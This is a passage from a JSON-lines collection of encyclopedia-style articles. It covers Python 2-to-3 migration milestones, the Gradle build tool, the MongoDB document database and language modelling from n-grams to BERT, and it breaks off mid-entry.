caniusepython3 and tox can help in checking or maintaining compatibility. Developers can also refer to a cheatsheet on writing compatible code; or get familiar with common migration problems.\n\n## Milestones\n\nOct  \n2008\n\nPython 2.6 is released. The development of this release is synchronized with that of Python 3.0. Thus, Python 2.6 incorporates some changes that are part of Python 3.0. This backporting is expected to make way for easier migration of Python 2.6+ code to Python 3.x. Module `future_builtins` has 3.0 semantics. \n\nDec  \n2008\n\nPython 3.0 is released. It simplifies some of the unwieldy syntax that was in Python 2.x. It's not backward compatible with Python 2.x and hence it's release is seen as controversial. However, Python 3.x is the future of the language. Python 3.0 itself is deemed a failure due to slow IO. \n\nJun  \n2009\n\nPython 3.1 is released and it supercedes Python 3.0 that was unusable. \n\nJul  \n2010\n\nPython 2.7 is released. It includes some features introduced in Python 3.1. Python 2.7.x releases will receive bug fixes as well as backports from Python 3.x to make it easier in future to migrate that code to Python 3. It's the last 2.x release (there won't be a 2.8 release). It's expected to be retired in April 2020, implying that it will be maintained for 10 years since it's initial release.\n\nFeb  \n2011\n\nPython 3.2 is released. A year later, it's seen that with this release Python 3 gains traction. \n\nSep  \n2012\n\nPython 3.3 reinstates the redundant syntax for Unicode string: `u'hello'`. This is done to enable easier migration from 2 to 3. \n\n2013\n\nPython 2.6 reaches end of life and at least one expert recommends (in 2016) that developers should move to 2.7 if moving to 3.x is not an option. \n\n2016\n\nJake VanderPlas states that the scientific community should adopt Python 3 thanks to tools such as `six` and `future`. In 2013, VanderPlas had noted that moving to Python 3 was impossible (back then). In November, popular Python author Zed Shaw publishes a scathing article against Python 3. A day later, blogger named Eevee publishes a detailed rebuttal. \n\n2017\n\nA Python Developers Survey towards the end of 2017 done by JetBrains finds that 75% of respondents use Python 3. In the domain of data science, adoption is higher at 80%. \n\nApr  \n2020\n\nThe last major version of Python 2.7 is expected to be released in April. Following this, Python 3 will be the only one supported for bugs and security fixes.","meta":{"title":"Python 2 vs 3","href":"python-2-vs-3"}}
{"text":"# Gradle\n\n## Summary\n\n\nGradle is an open-source build automation tool. A build process typically picks correct versions of project source code, resolves dependencies, assembles necessary assets, checks code against coding guidelines, executes unit tests, compiles code, and publishes the resulting software artifacts. Gradle can do all of these.\n\nGradle is performant, flexible and extensible. Via both convention and configuration, it balances ease of use and flexibility. Through plugins, the basic feature set of Gradle can be extended. It runs on the JVM and hence can be used on any platform. Gradle can be used for projects written in Java, C++, Swift, and more. Many IDEs and CI/CD tools support Gradle. \n\nSince it's release in 2008, adoption of Gradle has grown steadily. In 2020, Maven continued to be the more popular build tool for traditional Java applications. However, Gradle is more widely used by Android mobile app developers.\n\n## Discussion\n\n### What are the main features of Gradle?\n\nGradle has dozens of features. These relate to authoring of build scripts, Gradle execution, and integrations to IDEs, languages and repositories. \n\nWriting build scripts is made easy with Groovy or Kotlin Domain-Specific Language (DSL). Well-defined conventions make it easier for developers to write build scripts. However, Gradle is flexible enough to allow easy customization. \n\nGradle downloads and manages transitive dependencies. Even files can be declared as dependencies. Remote dependencies can be cached locally. By locking dynamic dependencies to specific versions, builds become deterministic and reproducible. \n\nFor performance, Gradle does incremental builds, skipping tasks and subtasks when their inputs haven't changed. It caches previous builds. It executes tasks in parallel. Build scans enable developers to analyse and compare past builds to find problems or optimize builds. Execution can be controlled via options. For example, some tasks can be excluded. Build can be configured to continue despite failures. \n\nGradle has specific features and support for Java, Groovy, Scala, Android, C/C++, Assembler, GCC, Clang, CUnit, etc. The Gradle Tooling API allows Gradle SDK to be used within IDEs and CI/CD tools. \n\n\n### Which are the main building blocks of Gradle?\n\nA **task** contains logic to execute something specific, such as compiling, testing or deploying software. Gradle comes with many in-built tasks and developers can create custom tasks. Tasks are composed of inputs, actions and outputs. \n\nA **build** is the execution of a set of tasks. A **project** is what a build achieves. For example, assembling a jar, war or zip file can be a project. Projects can have sub-projects. A build can contain more than one project. A project's build script is named `build.gradle` or `build.gradle.kts`. Build happens in three phases: initialization (set up the build environment for relevant projects), configuration (which tasks to run) and execution (run tasks). Execution can be started from command line or from an IDE. \n\nGradle's design is minimalistic. It's extended by plugins. A **plugin** helps us reuse logic or configuration across projects. It helps us write more maintainable build scripts. \n\n\n### How does Gradle compare against Apache Maven?\n\nIt's claimed that Gradle is 2x faster than Maven for most cases and 100x faster for large builds. This is mainly due to incremental builds, better build caching and the Gradle daemon. Gradle daemon runs in the background, thus eliminating JVM startup time. It caches information across builds. It watches the file system to determine what needs to be built even before a build is started. Gradle's Build Scan helps developers visualize and optimize builds. \n\nMaven relies on XML for build configuration. Gradle scripts are in DSL. They're configuration but they're also code. They can be easier to maintain than XML. \n\nGradle is more flexible. It's Tooling API allows us to embed it into IDEs and other tools. Customization with Maven can be hard. While Maven has better support with IDEs, Gradle is getting better here, particularly with Kotlin DSL. \n\nWhile Maven can override a dependency by version, Gradle has dependency selection and substitution rules. These can be declared once and used project-wide. Substitution enables composite builds across projects. In fact, it's been said that Maven is not suited for multi-project builds. \n\n\n### What's the right way to organize a Gradle project?\n\nStart by running `gradle wrapper`. Then launch Gradle with `gradlew` (Linux) or `gradlew.bat` (Windows). The wrapper automatically installs Gradle and eases future upgrades.  \n\nFollow common conventions in organizing files and folders. For example, keep Java and Kotlin files in separate folders. Keep unit tests separate from integration tests. \n\nGradle always looks for the `settings.gradle` file. Create at least an empty file to speed up the search for this file. Properties can be specified in `gradle.properties`. Properties specified in build scripts can be hard to maintain. Properties passed via the command line are useful for ad hoc scenarios. \n\nEach task should write its output to a separate folder. This allows Gradle to apply incremental build for faster builds. Due to incremental build, there's no need to clean before a build. \n\nWhen the build script file `build.gradle` becomes large and unmaintainable, it's a good idea to modularize it into multiple files and organize them within a `buildSrc/` folder. Thus declarations are separated from implementations. Additional dependencies can be in `buildSrc/build.gradle`. \n\n\n### What are some best practices when using Gradle?\n\nWrite build scripts in a declarative manner. DSL enables this. Avoid writing imperative code in build scripts. Complex imperative code can be moved to a binary plugin.  \n\nWhen a project has many dependencies, the ordering of repositories might matter. The more often used repositories should be listed first. \n\nMinimize logic during the configuration phase of a build. These would be executed every time even when the associated task is not executed. \n\nUse multi-project or composite builds rather than triggering another build using the `GradleBuild` task type. Avoid inter-project configuration, such as depending on a task from another project. \n\nOn multicore systems, run tests in parallel with `test { maxParallelForks 3 }`. \n\nDon't include passwords in build scripts or `gradle.properties` file. \n\nAvoid using internal Gradle APIs. Their use can break build scripts if Gradle or plugins change. For example, don't use `org.gradle.internal.os.OperatingSystem`. Instead, call `System.getProperty(\"os.name\")` from Apache Commons SystemUtils. \n\nUse the Gradle lint plugin to enforce a coding style to build scripts. Follow conventions when declaring tasks. An example is to always declare `group` and `description` so that tasks become discoverable. \n\nMore best practices are shared by Liutikas and Zhuk.\n\n## Milestones\n\n2008\n\nDockter and Murdoch start working on Gradle. At this time, the project is open source and there's no commercial entity behind it. \n\n2010\n\n**Gradle Inc.** is founded. Some major open source projects migrate to Gradle for their build processes. Gradle wins the Springy Award. \n\nJun  \n2012\n\n**Gradle v1.0** is released. \n\n2013\n\nGoogle's Android project adopts Gradle as the default build tool. Android Studio installation comes with the **Android Gradle plugin**. Over the years, a version compatibility matrix develops, mapping the versions of Android Studio, the plugin and Gradle. \n\nJul  \n2014\n\n**Gradle v2.0** is released. This release removes many deprecated features and API. It simplifies the codebase. It improves performance, particularly for large builds. It uses Java 8 (Java 5 is no longer supported) and Groovy 2.3.2 (earlier this was Groovy 1.8). \n\n2015\n\nGradle achieves **one million downloads per month**. A 2016 study of 10,000 projects shows that Maven is the most popular build tool (53%) while Gradle is used by only 11% of the projects. However, Gradle adoption continues to grow, reaching 10M downloads per month (2019) and 30M downloads per month (2022). \n\nAug  \n2016\n\n**Gradle v3.0** is released. This release enables Gradle Daemon by default. There's better IDE support for IDEA and Eclipse. While Groovy remains the primary build language, now there's support for Kotlin as well. Java 9 is supported. **Gradle Cloud Services** is part of the release and *Build Scans* is the first such service. A build scan provides insights into a build and identifies problems. **Gradle Enterprise** (first released in June 2016) is an on-premise version of Gradle Cloud Services. \n\nJun  \n2017\n\n**Gradle v4.0** is released. This release makes *Build Cache* production-ready for Java and Groovy compilation. Logging and terminal display are improved. \n\nNov  \n2018\n\n**Gradle v5.0** is released. Builds are now faster. Fine-grained dependency management is supported. Kotlin DSL is now production-ready. This enables code completion, error highlighting, quick documentation and refactoring. Task timeouts and Java 11 support are further additions. \n\nNov  \n2019\n\n**Gradle v6.0** is released. This release improves dependency management and performance. It adds support for JDK13. \n\nApr  \n2021\n\n**Gradle v7.0** is released. With file system watching enabled by default, incremental builds are faster. Builds are made more secure by running integrity checks on the dependencies. There's support for Java 16. In multi-project builds, dependency versions can be shared using an experimental feature called *version catalogs*.","meta":{"title":"Gradle","href":"gradle"}}
{"text":"# MongoDB\n\n## Summary\n\n\nMongoDB is a NoSQL database. More specifically, it's a document-oriented database. It stores data as *documents*. Documents themselves are organized into an abstraction called *collections*. Documents consist of key-value pairs. Thus, MongoDB's a hybrid of relational databases and key-value stores. \n\nMongoDB came out in 2009 as a response to the limitations of relational SQL databases. These imposed strict schema that didn't suit some use cases. Schema migrations were a pain. Scaling was vertical and expensive. These are the problems that MongoDB set out to solve. \n\nMongoDB can be deployed on-premise or on the cloud.  There are a host of tools to manage custom deployments. MongoDB is managed by MongoDB, Inc. Although the code is open, it's licensing is not really considered open source. \n\nDespite some criticisms, MongoDB continues to grow in adoption. It's fully managed cloud service, MongoDB Atlas, is particularly popular.\n\n## Discussion\n\n### How does MongoDB organize data?\n\nWhereas a SQL database organizes data into tables containing rows and columns, MongoDB organizes data into **collections** containing **documents** and **fields**. A MongoDB instance can manage multiple databases. Each database can have multiple collections. A collection encapsulates multiple documents that share some similarity.\n\nA document is really a JSON document containing key-value pairs. Values can be numbers, strings, dates, arrays or even other JSON documents. Internally, documents are stored in a binary format called **Binary JSON (BSON)**. Objects in many programming languages can be mapped easily to MongoDB documents. This simplifies application code and dispenses with Object–Relational Mapping (ORM). \n\nMongoDB has two storage engines: WiredTiger and In-Memory. \n\nConsider a news article with title, image, URL, tags, and comments. In SQL, article attributes, image, tags and comments would be stored in separate tables. In MongoDB, the article and its associated image, tags and comments are stored in a single document. Retrieval of this data is simple without needing SQL's complex join queries. Thus, MongoDB employs a **document data model**. \n\n\n### What are the main features of MongoDB?\n\nMongoDB's key features relate to its document-oriented model. Being **schema-less**, the model is flexible and avoids schema migrations. If required, schema validation can be enabled. \n\nEven without a schema, MongoDB supports **ad hoc queries**. This is powered by *MongoDB Query Language (MQL)*. Real-time aggregations are supported. \n\n**Indexes** are supported for faster search. A primary key is automatically created for each document and this is indexed. In addition, secondary indexes are supported. \n\nFor reliability, **replica sets** are used, with each set containing duplicates of the data. These are also useful to load balance the reads. A typical replica set has one primary node and many secondary nodes. \n\nAdministrators can choose the right **speed-durability trade-off** as suited for the application. By default, journaling is enabled by which writes are flushed to journal file every 100ms. Journaling can be disabled for faster write performance and instead replicated for better durability. \n\nMongoDB scales well due to **sharding**. Large collections are distributed across nodes. Queries are routed to relevant shards, thereby balancing the load. Sharding can be range-based, hash-based or tag-based. Individual shards are also part of replica sets. \n\n\n### What are the use cases where MongoDB fits?\n\nOne critic of MongoDB, identified only two use cases for MongoDB: for storing semi-structured data where no strict schema can be imposed; and for prototyping, where we might experiment with different design choices for the schema. \n\nIn an alternative viewpoint, MongoDB is claimed to be suited for web applications, where data relations are common. This is attributed to MongoDB's abstractions (collections, documents), indexes, dynamic queries and aggregations. \n\nIn Agile methodology, quick iterations are essential. MongoDB saves time because it doesn't deal with schemas and migrations. \n\nMongoDB has been applied to analytics and logging. Atomic updates (increment counters, append to arrays) and capped collections (keep only recent documents) are two features that are relevant here. Logs can be stored in the database rather than in files. \n\nCaching is another use case. MongoDB can be used as a caching layer. \n\n\n### What are the deployment options of MongoDB?\n\n**MongoDB Community Server** or **MongoDB Enterprise Server** can be downloaded, installed and self-managed. This is available for various platforms (Windows, macOS, Linux). The enterprise version is also part of MongoDB Enterprise Advanced subscription. This gives comprehensive support even when you run MongoDB on your own infrastructure. \n\nAn alternative is to use MongoDB as a fully managed service in the cloud. This is called **MongoDB Atlas**. This comes with the proven benefits of cloud computing: availability, scalability, security, performance, automation, and more. As of October 2021, this is available for AWS, Google Cloud, and Azure. \n\n\n### Which are the tools for managing or working with MongoDB?\n\nHere are some useful tools: \n\n    + **MongoDB Shell**: Called `mongosh`, it's a CLI to connect, query and work with a database. Available since v5.0, it deprecates an earlier shell called `mongo`.\n    + **MongoDB Compass**: A GUI for MongoDB. Variants include Readonly Edition and Isolated Edition (disables unnecessary network connections).\n    + **MongoDB CLI for Cloud**: Called `mongocli`, it's a CLI for managing cloud services such as MongoDB Atlas, MongoDB Cloud Manager, and MongoDB Ops Manager.\n    + **MongoDB Database Tools**: Include useful utilities for binary import/export, data import/export, and diagnostics.\n    + **MongoDB Connectors**: A set of connectors to interface with Business Intelligence (BI) tools, Apache Spark, Apache Kafka and Kubernetes.\n    + **MongoDB Charts**: Data visualization for data stored in MongoDB Atlas and Atlas Data Lake.\n    + **MongoDB Ops Manager**: For monitoring, backup, automation and query optimization. Part of MongoDB Enterprise Advanced subscription.\n    + **MongoDB Cloud Manager**: It's a hosted management platform. Similar features as in Ops Manager but SaaS and updated more frequently. You need to install only relevant agents (monitoring, automation, or backup) in your own self-managed deployments. Less relevant if you're using MongoDB Atlas.\n\n### What do you mean by MongoDB drivers?\n\nApplications need to connect to MongoDB instances and run queries. Developers often write these queries at the application layer but connecting to a MongoDB instance is more complex and requires networking knowledge. To simplify the developer's job, the latter is implemented by MongoDB and provided as libraries. These are called **MongoDB drivers**.\n\nCurrently, drivers are available in Java, Node.js, C/C++, C#/.NET, Go, Python, PHP, Scala, Ruby, Rust and Swift. Apart from these, there are also community-supported drivers. \n\nFor some drivers, it's important to check for compatibility before installing them. For example, Rust driver version 1.0 doesn't support MongoDB 5.0 and all Rust driver versions requires at least MongoDB 3.6. In terms of language compatibility, Rust driver requires at least Rust 1.48. \n\nWhile drivers help interacting with MongoDB programmatically, it's possible to do the same via MongoDB Shell (CLI) or MongoDB Compass (GUI). MongoDB Charts for visualization and MongoDB Connectors are other ways to interact with MongoDB. \n\n\n### What are some criticisms of MongoDB?\n\nMongoDB's document data model is ill-suited for social media data. For example, a user's activity stream will link to other users (friends, commenters, likers). This results in data duplication and an update nightmare to keep data consistent. Normalizing the activity stream and executing additional queries puts more burden on the application. \n\nIn 2015, Slootweg pointed out many of MongoDB's problems: data loss, ignored errors, slow, locking issues, insecure defaults, non-ACID, etc. If a developer uses Mongoose (a library for relations and schema validation), he proposes that PostgreSQL is a better option. \n\nMongoDB's schema-less approach was blamed for data inconsistency and loss. Application code that attempted to ensure consistency become complex and buggy. Meanwhile, in the late 2000s and early 2010s, other NoSQL databases arrived that solved specific use cases in better ways: Redis for real-time data and caching, Cassandra for Big Data, Elasticsearch and Solr for search, InfluxDB for time-series (IoT) data, and more. \n\nMost applications have relational data with schema and require migrations. MongoDB's ObjectIds are hard to work with. So are aggregation pipelines, which can hit memory limits. There's vendor lock-in to MongoDB, Inc. \n\n\n### Where can I learn more about MongoDB?\n\nVisit the official MongoDB website to learn more. You can download the MongoDB Community Server to try out the database. If necessary, you can later migrate to the MongoDB Enterprise Server. Alternatively, try the free tier of MongoDB Atlas. \n\nRead the Getting Started guides. Read the official documentation. This includes installation guide, FAQ, command reference, tools, data modelling, and much more. \n\nCheck out the Developer Hub and the MongoDB Blog. Participate in the MongoDB Community Forum to get help or be informed of the latest developments.\n\nAs a developer, you can learn the basic database commands from Beugnet's MongoDB Cheat Sheet. \n\nAmong the books worth reading are *The Little MongoDB Book*, *MongoDB in Action* and *Practical MongoDB Aggregations*.\n\nThose who prefer to learn from videos can check out these YouTube playlists: MongoDB Tutorial for Beginners and MongoDB Dev & Admin Tutorial Videos\n\n## Milestones\n\n2007\n\nEliot Horowitz, Dwight Merriman, and Kevin Ryan start a company named *10gen*. Their goal is to build a web-centric PaaS based on open source components. In the process, they realize that relational databases are hard to scale. Thus was born the idea for MongoDB. Horowitz recounts later that, \"MongoDB was born out of our frustration using tabular databases in large, complex production deployments.\"  \n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments.  \n\nDec  \n2009\n\nMongoDB 1.2 is released with support for **aggregations**. This is implemented in Node.js via a Map-Reduce API. This is slow and queries are non-intuitive for developers. With the release of MongoDB 2.2 (August 2012), this is remedied with the **Aggregation Framework**. This is far more intuitive, powerful, efficient, and scalable. It soon becomes the go-to tool for developers. However, MongoDB continues to support Map-Reduce for legacy reasons. \n\nAug  \n2010\n\nMongoDB 1.6 is released. Sharding is now production ready, thus making MongoDB **horizontally scalable**. Replica sets provide automated failover. They deprecate replica pairs used earlier. \n\n2013\n\nThe LAMP stack has been popular web stack for many years. Valeri Karpov coins the term **MEAN**, a new web stack that stands for MongoDB, Express, Angular and Node. Variants of this stack such as MERN and MEVN also include MongoDB. In these stacks, MongoDB fulfils the database layer. Its JSON-like documents fits nicely with JavaScript frameworks. \n\nMar  \n2015\n\nMongoDB 3.0 is released. **WiredTiger** storage engine is available. There's also a pluggable storage engine API. **MongoDB Ops Manager** is available. \n\nJun  \n2015\n\nMongoDB Management Service (MMS) is renamed to **MongoDB Cloud Manager**. This is useful for monitoring, alerting, taking automated backups, upgrading without any downtime, and easily creating sharded clusters and replica sets. MMS was first released in 2011. \n\nDec  \n2015\n\nMongoDB 3.2 is released. WiredTiger becomes the default storage engine. The previous default was MMAPv1. Config servers, which were previously mirrored, can now be deployed as replica sets. **Partial indexes** are supported, meaning that only some documents are indexed. This reduces storage requirements and performance costs for maintaining indexes. **Schema validation** is now possible on a per-collection basis during updates and insertions. \n\nJun  \n2016\n\n**MongoDB Atlas** is launched as a fully managed database in the cloud, more commonly termed as Database as a Service (DBaaS). Due to automation, there's no need to manually install, configure, take backups, and monitor. For hybrid environments, MongoDB Cloud Manager can be used. For full on-premise deployments, MongoDB Ops Manager can be used. \n\nNov  \n2016\n\nMongoDB 3.4 is released. Among the new features are **read-only views** and associating shards with one or more **zones**. To enable language-specific rules for string comparison, **collations** are introduced. Linearizable read concern level is introduced. Along with \"multiple\" write concern, this allows multiple threads to safely read/write on a single document. \n\nJun  \n2018\n\nMongoDB 4.0 is released. **Multi-document transactions** are now possible. Transactions can be across multiple operations, collections, databases, documents, and shards. \n\nJan  \n2019\n\nAmazon Web Services (AWS) launches **DocumentDB**, a database that emulates the MongoDB 3.6 API. Clients that use MongoDB can use DocumentDB as a drop-in replacement to MongoDB server. AWS could do this because MongoDB uses AGPL licensing. In anticipation of this, MongoDB, Inc. changed the licensing to **Server Side Public License (SSPL)** back in October 2018. SSPL required vendors to open source the entire stack. This move is not well received by the open source community. RedHat drops MongoDB from its RHEL distributions. \n\nJul  \n2021\n\nMongoDB 5.0 is released. Native **time series collections**, clustered indexing, and window functions make it easier to run IoT and financial analytics. **Live resharding** can happen without any downtime. MongoDB Shell `mongosh` is introduced and it deprecates `mongo` shell.","meta":{"title":"MongoDB","href":"mongodb"}}
{"text":"# Language Modelling\n\n## Summary\n\n\nConsider the phrase \"I am going \\_\\_\\_\". If we analyse large amounts of English text, the missing word is more likely to be 'home' rather than 'house'. This also implies that we can obtain the probability of a sequence of words. \n\nA **Language Model (LM)** captures the probability of a sequence of words in the language. Equivalently, it tells us how likely a given word will follow a sequence of words. \n\nTraditionally, N-gram models and their variants were used as language models. Since the early 2010s, Neural Language Models (NLMs) were researched. By 2019, pre-trained LMs were used for transfer learning to improve the performance of many downstream NLP tasks.\n\n## Discussion\n\n### Why do we need a language model when languages have well-defined grammar?\n\nWhile natural languages have grammar, they also have a huge vocabulary. There's also considerable flexibility how words can be combined. Ambiguities occur naturally in human communication. Usage also changes with time. The end result is that grammatical rules and syntactic structures can't be specified for all use cases. \n\nLanguage models therefore attempt to learn the \"structure\" of the language by analysing vast amounts of text. The approach is **statistical** rather than being based on brittle rules. In some sense, language models capture language syntax, semantics and even common sense knowledge. \n\nWhile we commonly speak of a word sequence for language modelling, we can abstract the idea to a **sequence of tokens**. A token could be a sentence, a phrase, a word, an n-gram, morpheme, or letter. Where lemmatization is used, multiple surface forms are reduced to a single token. An LM specifies its method of tokenization.  \n\n\n### What are some applications of language models?\n\nLanguage models are useful in applications that deal with **text generation**. Some examples are optical character recognition, handwriting recognition, speech recognition, machine translation, spelling correction, image captioning, and text summarization. \n\nIn speech recognition, the phrases \"no eye deer\" and \"no idea\" may sound similar. In spelling correction, \"fill the from\" may show no spelling errors but in fact \"fill the form\" is the correct phrase. In both these examples, an LM selects the more probable phrase. In machine translation, LM can tell that \"high winds tonight\" is a better translation than \"large winds tonight\". \n\nGmail's Smart Reply, which suggests short responses to emails, relies on an LM. In healthcare, LMs were shown to obtain generic representations from data of all patients. This led to better prediction models. LMs have been used for paraphrasing text. \n\nLanguage modelling tasks themselves (such as predicting a word given surrounding words) have been useful in obtaining efficient word embeddings. These embeddings help represent words at the input of a neural network model. \n\n\n### Which are the main approaches to language modelling?\n\nThere are two broad categories of language models:  \n\n    + **Count-based**: These are traditional statistical models such as *n-gram models*. Word co-occurrences are counted to estimate probabilities. Variants of n-gram models have also been proposed. *Clustering models* attempt to exploit similarities among words. *Caching models* exploit the fact that once a word is used, it's likely to appear again in that text. *Sentence mixture models* build different models for different sentence types.\n    + **Continuous-space**: These use neural networks. They use *word embeddings* as dense word representations in a real-valued vector space. Words that are semantically similar are typically close together in the vector space. Such embeddings solve the data sparsity problem of n-gram models. Unlike n-gram models, these scale well as vocabulary size increases.\n\n### Could you briefly describe n-gram models?\n\nSuppose a sentence S has N words, \\(w\\_1...w\\_N\\). Since LM is about finding the probability of S, this is a **joint** probability measure over all N words. Typically, this is decomposed into a product of **conditional** probabilities \\(P(S)=\\prod\\_{i=1}^N P(w\\_i|w\\_1,...,w\\_{i-1})\\), where each term is a probability of a word given the previous words in the sentence. \n\nTo simplify the problem, we apply **Markov assumption**. This is an approximation in which only some recent words matter. For a bigram model, a word is predicted based on only the preceding word. For an n-gram model, only the preceding (n-1) words are considered. For instance, given a bigram model for the phrase \"the cat sat on the mat\", \\(P(S)=P(the)\\cdot P(cat|the)\\cdot P(sat|cat)\\cdot P(on|sat)\\cdot P(the|on)\\cdot P(mat|the)\\). We can get these probabilities by counting word co-occurrences. For example, \\(P(cat|the)=P(the\\,cat)/P(the)\\). \n\nOne problem with n-gram models is **data sparsity**. This means that word sequences not seen in training, may be encountered in real applications, leading to zero probability. Techniques to solve this problem include smoothing, backoff and interpolation.  \n\nTypically, 5-gram models are a compromise between computational complexity and performance. \n\n\n### How can I train or make use of a neural language model?\n\nA neural language model can be learned in an unsupervised or semi-supervised manner but it needs lots of input text. Easy availability of text online (billions of words) has made this feasible. However, words at the input of a neural network must be represented as numbers. This is where word embeddings provide efficient representations. \n\nTo train the LM itself, we need a task on which the model has to learn. One task is to predict a word given its surrounding words; or predict the surrounding words given the current word. In fact, these two LM tasks were used when creating word2vec word embeddings. Training an LM in this manner is called **pre-training**. \n\nA pre-trained LM can then be applied to a variety of NLP tasks. However, since each task is different, we do task-specific **fine-tuning** of the LM. \n\nThis two-phase approach is practical since a single pre-trained LM can be fine-tuned as the task demands. While pre-training is done on huge volumes of text, fine-tuning takes lot less effort. \n\n\n### Could you describe some well-known pre-trained neural language models?\n\nAmong the well-known NLMs are ELMo, ULMFiT, BERT, GPT, and GPT-2. BERT in particular has spawned many variants: XLM, RoBERTa, XLNet, MT-DNN, TinyBERT, ALERT, DistilBERT, and more. \n\nWhile ELMo and ULMFiT use LSTM, GPT-2 and BERT are based on transformer architecture. ULMFiT and GPT-2 are unidirectional while BERT is bidirectional. Most models can be applied to any downstream NLP task. \n\nLM pre-training tasks themselves differ across models:\n\n    + **Causal LM**: Used by GPT-2. Current prediction is based on previous hidden state.\n    + **Masked LM**: Used by BERT. Some input words are masked and the task is to predict them. Since model is bidirectional, masking improves performance.\n    + **Translation LM**: Used by XLM for better machine translation. An input sequence contains tokens from both languages, each with its language embeddings and position embeddings.\n    + **Permutation LM**: Used by XLNet. It uses permutation to capture bidirectional context.\n    + **Multi-Task LM**: Used by MT-DNN. Model is trained on multiple tasks such as classification, text similarity and pairwise ranking. This regularizes the model better.\n\n### Which are the common techniques used in neural language models?\n\nModels with more parameters or memory units perform better. Increasing the embedding size improves performance but causes undesirable increase in number of parameters. LSTMs are better than RNNs. LSTMs are much better than n-grams on rare words. Models tend to overfit on training data, for which dropout helps (10% for small models, 25% for large models). Character-level embeddings and softmax can reduce the number of parameters. They're also better at out-of-vocabulary words. \n\nTo predict the next word, we need to compute the softmax probability. This is expensive for a large vocabulary. Among the different approaches to simplify this are hierarchical softmax, noise contrastive estimation, importance sampling, and self-normalizing partition functions. \n\nTo handle rare words, there are neural LMs that make use of morphemes, word shape information (such as capitalization), or annotations (such as POS tags). The use of morphemes has led to morpheme embeddings. When combined with RNN, we obtain word embeddings. Some LMs use character-level embeddings at both input and/or output. This approach avoids morphological analysis. \n\n\n### How can I evaluate the performance of language models?\n\nThe common measure of LM evaluation is called **perplexity**. It's a geometric average of the inverse probability of words predicted by the model. Thus, a lower perplexity implies a better model. Logarithm (base 2) of perplexity is also a common measure. This is called **cross-entropy**. As a thumb rule, a reduction of 10-20% in perplexity is noteworthy. \n\nIn practice, an LM is measured by how it performs in an actual application. This is called *extrinsic evaluation*, as opposed to perplexity that's seen as *intrinsic evaluation*. For example, in speech recognition, **Word Error Rate (WER)** is an extrinsic measure of an LM. \n\nIt's been difficult to compare LMs because they use different training corpora or evaluation benchmarks. Some published results are unclear about the computation complexity. Sometimes single-model performance numbers are not reported; only performance of ensemble models are reported. Language modelling can benefit from standardized pre-training corpus. Performance should be compared along with model size and resource consumption. \n\n## Milestones\n\n1980\n\nAlthough smoothing techniques can be traced back to Lidstone (1920), or even earlier to Laplace (18th century), an early application of smoothing to n-gram models for NLP is by Jelinek and Mercer (1980). A better smoothing technique is due to Katz (1987). More smoothing techniques are proposed in the 1990s. \n\nJul  \n1989\n\nBahl et al. propose **decision tree** for language modelling in the domain of speech recognition. Each node has a yes/no question about preceding words. Each leaf has a probability distribution over the allowable vocabulary. Years later, it's noted that tree-based methods may outperform n-gram models but finding the right partitions are hard due to high computational cost and data sparsity. \n\n1992\n\nIn decision tree approaches, as the tree grows, each leaf contains fewer data points. This data fragmentation issue can be solved by **exponential models**. Pietra et al. propose one such model using Maximum Entropy distribution. Similar models are proposed in the following years. In general, these models are computationally intensive. \n\n1993\n\nN-gram models look at the preceding (n-1) words but for larger n, there's a data sparsity problem. Huang et al. propose a **skipping n-gram model** in which some preceding words may be ignored or skipped. For example, in the phrase \"Show John a good time\", the last word would be predicted based on P(time|Show \\_\\_ a good) rather than P(time|Show John a good). Many such skipping models are proposed through the 1990s. \n\n1995\n\nDue to the success of n-gram models, researchers ignored knowledge-based approaches. Statistical approach eclipsed linguistic approach. N-gram models worked but had little knowledge of language or its deep structures. Well-known researcher Fred Jelinek notes that a combination of statistical and linguist approaches may be required. He notes that we must \"put language back into language modeling\". \n\nAug  \n1998\n\nAs a smoothing technique for LMs, the Kneser-Ney method was proposed in 1995. Chen and Goodman introduce a modification of this and name it **Modified Kneser-Ney Smoothing**. Unlike the single discount of Kneser-Ney, the modified method uses different discounts for one, two and more than two counts. Subsequently, Kneser-Ney smoothing on a 5-gram model becomes a popular baseline among researchers.   \n\n2001\n\nBengio et al. point out the **curse of dimensionality** where the large vocabulary size of natural languages makes computations difficult. They propose a **Feedforward Neural Network (FNN)** that jointly learns the language model and vector representations of words. They refine their methods in a follow-up paper from 2003. \n\n2010\n\nSince n-grams and FNNs use a fixed length context, Mikolov et al. propose using a **Recurrent Neural Network (RNN)** for language modelling. Using cyclic connections, information in RNNs is retained for longer time. RNNs can therefore capture long-term dependencies. Only the size of the hidden context layers needs to be fixed. In 2018, Noaman et al. extend this approach to better suit languages with rich morphology or large vocabulary. They tokenize a word into prefix, stem and suffix. \n\nJan  \n2013\n\nAt Google, Mikolov et al. develop a word embedding called **word2vec**. This is created by training the model on one of two LM tasks: continuous bag-of-words (predict current word based on surrounding words) or continuous skip-gram (predict surrounding words given current word). This is a **log-linear model** due to the use of hierarchical softmax. \n\nAug  \n2015\n\nKim et al. use character-level input embeddings. Input is fed into a CNN followed by a highway network. An LSTM layer does the predictions, which are still at word level. They show that these character-level models have fewer parameters and outperform word-level models, particularly for languages with rich morphology (Arabic, Czech, French, German, Spanish, Russian). In 2016, Jozefowicz et al. explore CharCNN and character-level LSTM at the prediction layer. \n\nJul  \n2018\n\nWord embeddings such as word2vec have been popular since their release in 2013. However, they can't handle polysemy (same word, different meanings). This is because they produce a single representation for the word. They capture semantic relations but are poor at higher-level concepts such as anaphora, long-term dependencies, agreement, and negation. This is where LMs become useful. A good LM should capture lexical, syntactic, semantic and pragmatic aspects. NLP researcher Sebastian Ruder notes,\n\n> It is very likely that in a year's time NLP practitioners will download pretrained language models rather than pretrained word embeddings.\n\nOct  \n2018\n\nDevlin et al. from Google publish details of an LM they call **BERT**. It's deeply bidirectional, meaning that it uses both left and right contexts in all layers. In November, Google open sources pre-trained BERT models, along with TensorFlow code that does this pre-training. These models are for English. Later in November, Google releases **multilingual BERT** that supports about 100 different languages. \n\nJan  \n2019\n\nLample and Conneau adapt BERT to propose a cross-lingual LM. Model is trained on both monolingual data (unsupervised) and parallel data (supervised). At the input, each language gets its own language and position embeddings. The model uses *Byte-Pair Encoding (BPE)* in which sub-words are the tokens. This improves the alignment of embedding spaces across languages. They obtain state-of-the-art results. \n\nDec  \n2019\n\nHere are some new applications of LM. LM enables end-to-end Named Entity Recognition and Relation Extraction, and thereby avoids external NLP tools such as a dependency parser. LM is applied to zero-shot text classification. This work suggests that LMs can be used for meta-learning. A convolutional quantum-like LM is used 